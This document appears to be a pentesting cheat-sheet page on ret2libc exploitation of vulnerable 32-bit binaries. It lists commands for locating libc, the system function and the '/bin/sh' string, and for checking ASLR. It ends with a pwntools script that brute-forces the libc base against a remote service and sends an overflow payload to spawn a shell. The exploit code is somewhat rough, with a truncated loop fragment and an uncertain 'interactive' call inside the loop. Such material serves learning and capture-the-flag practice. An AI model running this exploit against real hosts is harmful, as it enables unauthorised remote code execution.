# Ret2Lib

**If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.**

## If you are **inside** the **host** 

### You can find the **address of lib**c

```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```

If you want to check if the ASLR is changing the address of libc you can do:

```bash
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
```

### Get offset of system function

```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```

### Get offset of "/bin/sh"

```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```

### /proc/&lt;PID&gt;/maps

If the process is creating **children** every time you talk with it \(network server\) try to **read** that file \(probably you will need to be root\).

Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.

![](../../.gitbook/assets/image%20%2899%29.png)

In this case it is loaded in **0xb75dc000** \(This will be the base address of libc\)

### Using dgp-peda

Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda:

```text
p system
p exit
find "/bin/sh"
```

## Bypassing ASLR

You can try to bruteforce the abse address of libc.

```python
for off in range(0xb7000000, 0xb8000000, 0x1000):  
```

## Code

```text
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()    #Banner

for off in range(0xb7000000, 0xb8000000, 0x1000):
    p = ""
    p += p32(off + 0x0003cb20) #system
    p += "CCCC" #GARBAGE
    p += p32(off + 0x001388da) #/bin/sh
    payload = 'A'*0x20010 + p
    c.send(payload)
    c.interactive() #?
```

